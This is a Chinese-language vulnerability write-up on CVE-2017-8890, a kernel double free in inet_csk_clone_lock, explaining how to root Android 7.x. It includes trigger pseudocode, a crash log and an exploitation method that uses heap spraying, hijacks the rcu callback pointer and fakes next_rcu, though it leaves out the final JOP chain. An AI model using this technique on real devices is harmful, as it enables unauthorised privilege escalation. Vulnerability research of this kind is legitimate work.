CVE-2017-8890漏洞分析与利用(Root Android 7.x)

*本文原创作者:Mzi of SecRet-Team @云图信安,

漏洞简介

cve.mitre.org 网站给出的信息如下:

The inet_csk_clone_lock function in net/ipv4/inet_connection_sock.c in the Linux kernel through 4.10.15 allows attackers to cause a denial of service (double free) or possibly have unspecified other impact by leveraging use of the accept system call.

通过漏洞信息,可以知道这个漏洞影响范围非常广,包括Linux Kernel 4.10.15之前的所有内核版本。

这个漏洞同时存在于Android Kernel中,在实际测试中,不需要任何权限即可造成double free导致系统崩溃。

漏洞补丁如下所示:

-rw-r--r--  net/ipv4/inet_connection_sock.c 2     1 files changed, 2 insertions, 0 deletions    diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c    index 5e313c1..1054d33 100644    --- a/net/ipv4/inet_connection_sock.c    +++ b/net/ipv4/inet_connection_sock.c    @@ -794,6 +794,8 @@ struct sock *inet_csk_clone_lock(const struct sock *sk,        /* listeners have SOCK_RCU_FREE, not the children */        sock_reset_flag(newsk, SOCK_RCU_FREE);        +   inet_sk(newsk)->mc_list = NULL;    +        newsk->sk_mark = inet_rsk(req)->ir_mark;        atomic64_set(&newsk->sk_cookie,               atomic64_read(&inet_rsk(req)->ir_cookie));  

补丁日期为2017-05-09,因此在该日起之前的所有Android设备,都会受到这个漏洞的影响。

漏洞复现

通过分析漏洞补丁函数inet_csk_clone_lock,整理出该函数的调用链如下图所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x)

最终的调用源头为tcp_v4_rcv,该函数用于处理tcp三次握手的数据包,在三次握手完成真正连接建立时,会创建新的 socket对象,因此问题出现在创建新socket的过程,代码如下所示:

struct sock *inet_csk_clone_lock(const struct sock *sk,                     const struct request_sock *req,                     const gfp_t priority)    {        struct sock *newsk = sk_clone_lock(sk, priority);        if (newsk) {    // ...            // cve-2017-8890 patch            // inet_sk(newsk)->mc_list = NULL;                // ...         }    // ...    }    struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)    {        newsk = sk_prot_alloc(sk->sk_prot, priority, sk->sk_family);        if (newsk != NULL) {          sock_copy(newsk, sk);      // newsk init...        }        return newsk;        }    static void sock_copy(struct sock *nsk, const struct sock *osk)    {    #ifdef CONFIG_SECURITY_NETWORK        void *sptr = nsk->sk_security;    #endif        memcpy(nsk, osk, offsetof(struct sock, sk_dontcopy_begin));        memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end,               osk->sk_prot->obj_size - offsetof(struct sock, sk_dontcopy_end));    #ifdef CONFIG_SECURITY_NETWORK        nsk->sk_security = sptr;        security_sk_clone(osk, nsk);    #endif    }  

最后生成的新socket,在该对象初始化之前,先调用了sock_copy函数将父socket数据拷贝过来,生成一个父sock的副本,并且在后边的初始化过程中,没有将mc_list对象初始化,因此造成了父mc_list对象被新的socket对象引用的结果,如果创建多次,也会被引用多次,最后对mc_list对象也会进行多次释放。

下边问题就是如何创建一个带有mc_list对象的socket。查看源码中所有对mc_list的引用,最后的调用来源如下图所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

ip_mc_join_group函数用于将socket加入到多播组,该函数的调用接口为ip_setsockopt

该漏洞类型为double free,必然伴随着可多次释放该对象,创建mc_list对象流程有了,再看下该对象的释放流程,如下图所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

最终可复现该漏洞,伪代码如下所示:

sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP);    setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group);    accept_sockfd1 = accept(sockfd, (struct sockaddr*)&accept1_si, sizeof(accept1_si));    accept_sockfd2 = accept(sockfd, (struct sockaddr*)&accept2_si, sizeof(accept2_si));    // first free    close(accept_sockfd1);    // second free    close(accept_sockfd2);  

崩溃信息如下所示:

35890.702474] ------------[ cut here ]------------    [35890.702509] kernel BUG at /usr/local/google/buildbot/src/partner-android/n-dev-msm-angler-3.10-nyc-mr2/private/msm-huawei/mm/slub.c:3364!    [35890.702518] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP    [35890.702539] CPU: 0 PID: 8 Comm: rcuc/0 Not tainted 3.10.73-g5b0be8f02fe #1    [35890.702548] task: ffffffc00e9a4b40 ti: ffffffc00e9dc000 task.ti: ffffffc00e9dc000    [35890.702576] PC is at kfree+0xe8/0x1e0    [35890.702594] LR is at rcu_do_batch.isra.35+0x118/0x2b4    [35890.702602] pc : [<ffffffc00030240c>] lr : [<ffffffc000299ab8>] pstate: 40000145    [35890.702608] sp : ffffffc00e9dfc90    [35890.702615] x29: ffffffc00e9dfc90 x28: 00000000000005d7    [35890.702630] x27: ffffffc000ce5000 x26: ffffffc03bffd220    [35890.702641] x25: ffffffc03bffd120 x24: ffffffc00e9dc000    [35890.702653] x23: ffffffc00177f618 x22: ffffffc000299ab8    [35890.702665] x21: ffffffc00160fba8 x20: ffffffc03bffd740    [35890.702677] x19: ffffffbc00efff40 x18: 0000000000000000    [35890.702687] x17: 0000000000000000 x16: 0000000000000001    [35890.702699] x15: 0000000000000000 x14: 0ffffffffffffffe    [35890.702711] x13: 0000000000000030 x12: 0101010101010101    [35890.702722] x11: 7f7f7f7f7f7f7f7f x10: feff676273687672    [35890.702734] x9 : 0000000000000040 x8 : ffffffc0c531be00    [35890.702745] x7 : 00000000000003be x6 : 0000000000000004    [35890.702756] x5 : 0000000000000008 x4 : 0000000000000000    [35890.702767] x3 : ffffffc0c1192450 x2 : 0000000000000000    [35890.702778] x1 : 0000000000efff40 x0 : 0000000000000000    [35890.702792]    [35890.702792] PC: 0xffffffc00030230c:    [35890.702798] 2308  14000002b9805001 aa0103e0b9801801 a8c27bfdf9400bf3 a9bb7bfdd65f03c0 a90153f3910003fd d0004f20aa0003f4 a90363f7a9025bf5 aa1e03f6f9420400    [35890.702835] 2348  b9400801a9046bf9 910003e1340002a1 b94052629272c433 b900526211000442 b4000115f9401015 aa1603e1f94002a3 aa1403e2f94006a0 f8410ea0d63f0060    [35890.702869] 2388  b9405260b5ffff40 b900526051000400 36080040f9400260 f100429f94277066 90004f4054000a29 f9419c00d2c00801 8b010001f9400000 8b140021d2dff780    [35890.702901] 23c8  d34cfc21f2ffffe0 8b000033d37ae421 367800e2f8606822 d50339bff9401a62 d34f3c00f8606820 9a9310536b1f001f 37380180f9400260 f272041ff9400260    [35890.702933] 2408  e7f001f254000041 d34e3821f9400261 b9406a6134000041 97ff36aeaa1303e0 910003e014000031 9272c416f9401a78 97fd434352800020 d538d099f9400317    [35890.702965] 2448  f94007558b17033a 97fd437152800020 36080040f94002c0 f9400b4094277036 54000381eb00027f f8776b21b9802300 d53b4224f8206a81 f9400301d50342df    [35890.702998] 2488  d538d08252800003 f8776b25aa0103e0 eb0500dff8606846 9100202154000181 eb15003ff8616841 f820685454000101 d538d080910022b5 52800023f9400301    [35890.703032] 24c8  f821681591002021 350000c3d51b4224 aa1803e017ffffd8 aa1403e2aa1303e1 a94153f397fffadd a94363f7a9425bf5 a8c57bfda9446bf9 a9bc7bfdd65f03c0    [35890.703065] 2508  a9025bf5910003fd a90153f39000b1b6 b94892d5a90363f7 35000155aa0003f3 d2818000f9400401 ea00003ff2a01520 f9402660540000a1 b9404660b5000060    [35890.703100]    [35890.703100] LR: 0xffffffc0002999b8:    [35890.703106] 99b8  9100a034a90573fb eb02029ff9401822 b400136254001380 aa0003f7aa0103f3 d50342dfd53b4236 900052629406f50e 1ac10c0152800801 937d7c21f945a842    [35890.703139] 99f8  f8616841f9400042 370001609ac02420 913836b5d0009eb5 350000e039401aa0 52810161b0007320 97fe1bc8911ac000 39001aa052800020 f9405a60f9401a61    [35890.703171] 9a38  f9400022f90037a0 f9001662f9401660 91012261f900003f f9400023f9401a79 eb02007ff9401a62 f900003454000041 eb14003fd1002021 d51b423654ffff21    [35890.703203] 9a78  910003e1d2800016 9272c438aa1603fc d0009bb59000527b b40003c0912ea2b5 f9800340f940001a f13ffc5ff9400402 cb020000540000a8 9401a21c910006d6    [35890.703236] 9ab8  d63f004014000002 9100079cf94037a0 5400006aeb00039f 17fffff0aa1a03e0 370801a0f9400300 b9433000f9400b00 9406f4cb34ffff40 f8605840f9450362    [35890.703268] 9af8  f9400b00f8756802 54fffe60eb00005f aa0003fa14000002 d50342dfd53b4238 d5033bbfb500023a f9405a61f9403a60 f9403e60cb160016 cb1c0000f9003a76    [35890.703300] 9b38  f9404660f9003e60 92f000008b1c001c f900467ceb00003f 540002a1f9403e61 f94016601400000d f900032091014261 f900167a9100c260 eb02029ff9400002    [35890.703333] 9b78  f800841954fffd21 54ffff61eb01001f 90009c6017ffffe5 f940080091004002 5400006ceb00003f f9005a60f9400440 b50000c1f9404260 f9004261b40000a0    [35890.703366]    [35890.703366] SP: 0xffffffc00e9dfb90:    [35890.703372] fb90  0000000000000000 0000000000000008 0000000000000004 00000000000003be ffffffc0c531be00 0000000000000040 feff676273687672 7f7f7f7f7f7f7f7f    [35890.703403] fbd0  0101010101010101 0000000000000030 0ffffffffffffffe 0000000000000000 0000000000000001 0000000000000000 0000000000000000 ffffffbc00efff40    [35890.703436] fc10  ffffffc03bffd740 ffffffc00160fba8 ffffffc000299ab8 ffffffc00177f618 ffffffc00e9dc000 ffffffc03bffd120 ffffffc03bffd220 ffffffc000ce5000    [35890.703470] fc50  00000000000005d7 ffffffc00e9dfc90 ffffffc000299ab8 ffffffc00e9dfc90 ffffffc00030240c 0000000040000145 ffffffc00e9dfc90 ffffffc000302458    [35890.703503] fc90  ffffffc00e9dfce0 ffffffc000299ab8 ffffffc0c118cbb0 ffffffc0c118cbd8 ffffffc00160fba8 00000000000005ca ffffffc00177f618 ffffffc00e9dc000    [35890.703535] fcd0  ffffffc03bffd120 ffffffc03bffd220 ffffffc00e9dfd50 ffffffc000299e00 ffffffc00160fda0 ffffffc000ce6000 ffffffc0c118cd98 ffffffc00e9dc000    [35890.703567] fd10  00000000bfb7d000 000000000000000a ffffffc001935438 ffffffc000ce6000 0000000000000001 ffffffc000ce6000 ffffffc0c118cd98 7fffffffffffffff    [35890.703599] fd50  ffffffc00e9dfde0 ffffffc00024baf0 ffffffc00e96d2c0 ffffffc00e9dc000 ffffffc0016efee8 0000000000000001 0000000000000001 0000000000000002    [35890.703632]    [35890.703639] Process rcuc/0 (pid: 8, stack limit = 0xffffffc00e9dc058)    [35890.703647] Call trace:    [35890.703658] [<ffffffc00030240c>] kfree+0xe8/0x1e0    [35890.703667] [<ffffffc000299ab4>] rcu_do_batch.isra.35+0x114/0x2b4    [35890.703674] [<ffffffc000299dfc>] rcu_cpu_kthread+0x1a8/0x308    [35890.703688] [<ffffffc00024baec>] smpboot_thread_fn+0x1dc/0x208    [35890.703703] [<ffffffc000243e7c>] kthread+0xc0/0xcc    [35890.703713] Code: 37380180 f9400260 f272041f 54000041 (e7f001f2)    [35890.703724] ---[ end trace bc62c72cba08ddfd ]---    [35890.723573] Kernel panic - not syncing: Fatal exception in interrupt    [35890.723810] CPU1: stopping  

漏洞利用

劫持EIP

该漏洞的利用思路比较简单直接,在第二次释放之前通过堆喷占位即可。

mc_list对象申请通过slab分配器分配,代码如下:

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)    {        // ...        iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);        // ...    }  

对应汇编代码:

ROM:FFFFFFC000BABD6C loc_FFFFFFC000BABD6C                    ; CODE XREF: ip_mc_join_group+98j    ROM:FFFFFFC000BABD6C                 MOV             X0, X20    ROM:FFFFFFC000BABD70                 MOV             W1, #0x30    ROM:FFFFFFC000BABD74                 MOV             W2, #0xD0    ROM:FFFFFFC000BABD78                 BL              sock_kmalloc  

可知,该对象大小为0×30,位于slab-64,所以堆喷64字节数据即可。

堆喷占位后,我们需要劫持eip,因此需要能够占位到对象中的函数指针,mc_list结构体如下所示:

struct callback_head {      struct callback_head *next;      void (*func)(struct callback_head *head);    };    #define rcu_head callback_head    struct ip_mc_socklist {    struct ip_mc_socklist __rcu *next_rcu;    struct ip_mreqn    multi;    unsigned int    sfmode;    struct ip_sf_socklist __rcu *sflist;    struct rcu_head    rcu;    };  

该结构体中存在一个回调函数func,因此将该函数指针覆盖即可劫持eip。该回调函数func的处理流程位于对象释放过程:

void ip_mc_drop_socket(struct sock *sk)    {    // ...        if (!inet->mc_list)            return;        rtnl_lock();        while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {    // ...            kfree_rcu(iml, rcu);        }        rtnl_unlock();    }  

该函数获取到mc_list对象后,最后调用kfree_rcu,该函数并不是真正的释放该对象,而是调用call_rcu将要删除的对象保存起来,并标记或者开始一个宽限期,等到cpu宽限期结束,会触发一个RCU软中断,再进行释放,如果有回调函数func,则进行回调函数处理流程,整个函数调用逻辑为:

kfree_rcu -> … -> call_rcu -> … -> invoke_rcu_core -> RCU_SOFTIRQ -> rcu_process_callbacks -> … __rcu_reclaim

最后的释放代码如下所示:

#define __is_kfree_rcu_offset(offset) ((offset) < 4096)    static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)    {    unsigned long offset = (unsigned long)head->func;    rcu_lock_acquire(&rcu_callback_map);    // 是否存在回调函数    if (__is_kfree_rcu_offset(offset)) {    RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));    kfree((void *)head - offset);    rcu_lock_release(&rcu_callback_map);    return true;    } else {    RCU_TRACE(trace_rcu_invoke_callback(rn, head));    head->func(head);    rcu_lock_release(&rcu_callback_map);    return false;    }    }  

对应的汇编代码:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

如果不存在回调函数,func会被设置成该成员在对象中的偏移,也就是0×20,当func值大于4096即可触发到回调函数流程,即劫持eip。

最终漏洞利用示意图如下所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

劫持eip的崩溃信息如图所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

虽然劫持了eip,按照早期的安卓提权思路,直接ret2user即可完成提权操作,然而早已经加入了PXN保护,需要构造JOP来绕过,但是构造JOP需要至少控制一个寄存器,而回调函数执行后的参数为head,即为ip_mc_socklist.rcu地址,该地址为一个内核地址,数据并不可控,从崩溃信息x0寄存器的值也证实了这一点,置此,该漏洞还无法有效利用。

控制寄存器数据

通过对mc_list释放流程的深入研究,最终发现在ip_mc_socklist结构体中,有另外一个很重要的指针变量next_rcu,在内核中,该指针指向下一个ip_mc_socklist对象,并且在ip_mc_drop_socket函数释放流程,会循环遍历该链表,直到next_rcu == NULL,部分代码如下所示:

void ip_mc_drop_socket(struct sock *sk)    {        rtnl_lock();        while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {            inet->mc_list = iml->next_rcu;            kfree_rcu(iml, rcu);        }        rtnl_unlock();    }  

因此,我们可以在用户态伪造一个ip_mc_socklist对象fake_iml,然后通过堆喷占位,使第一次被释放的ip_mc_socklist.next_rcu = fake_iml,当内核在处理我们的fake_iml时,最后调用的fun(head)都是我们可控的,且head指向的是用户空间,因此可以达到控制x0寄存器的目的,最终利用示意图如下所示:

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

控制了eip和x0寄存器,就可以构造JOP进行后续的提权操作,流程比较固定,暂不细讲,最终漏洞利用如下图,测试手机为 Nexus6P 7.12

CVE-2017-8890漏洞分析与利用(Root Android 7.x) 

参考

Multicast technologies on TCP/IP networks

What is RCU, Fundamentally?

Linux 2.6内核中新的锁机制–RCU

*本文原创作者:Mzi of SecRet-Team @云图信安,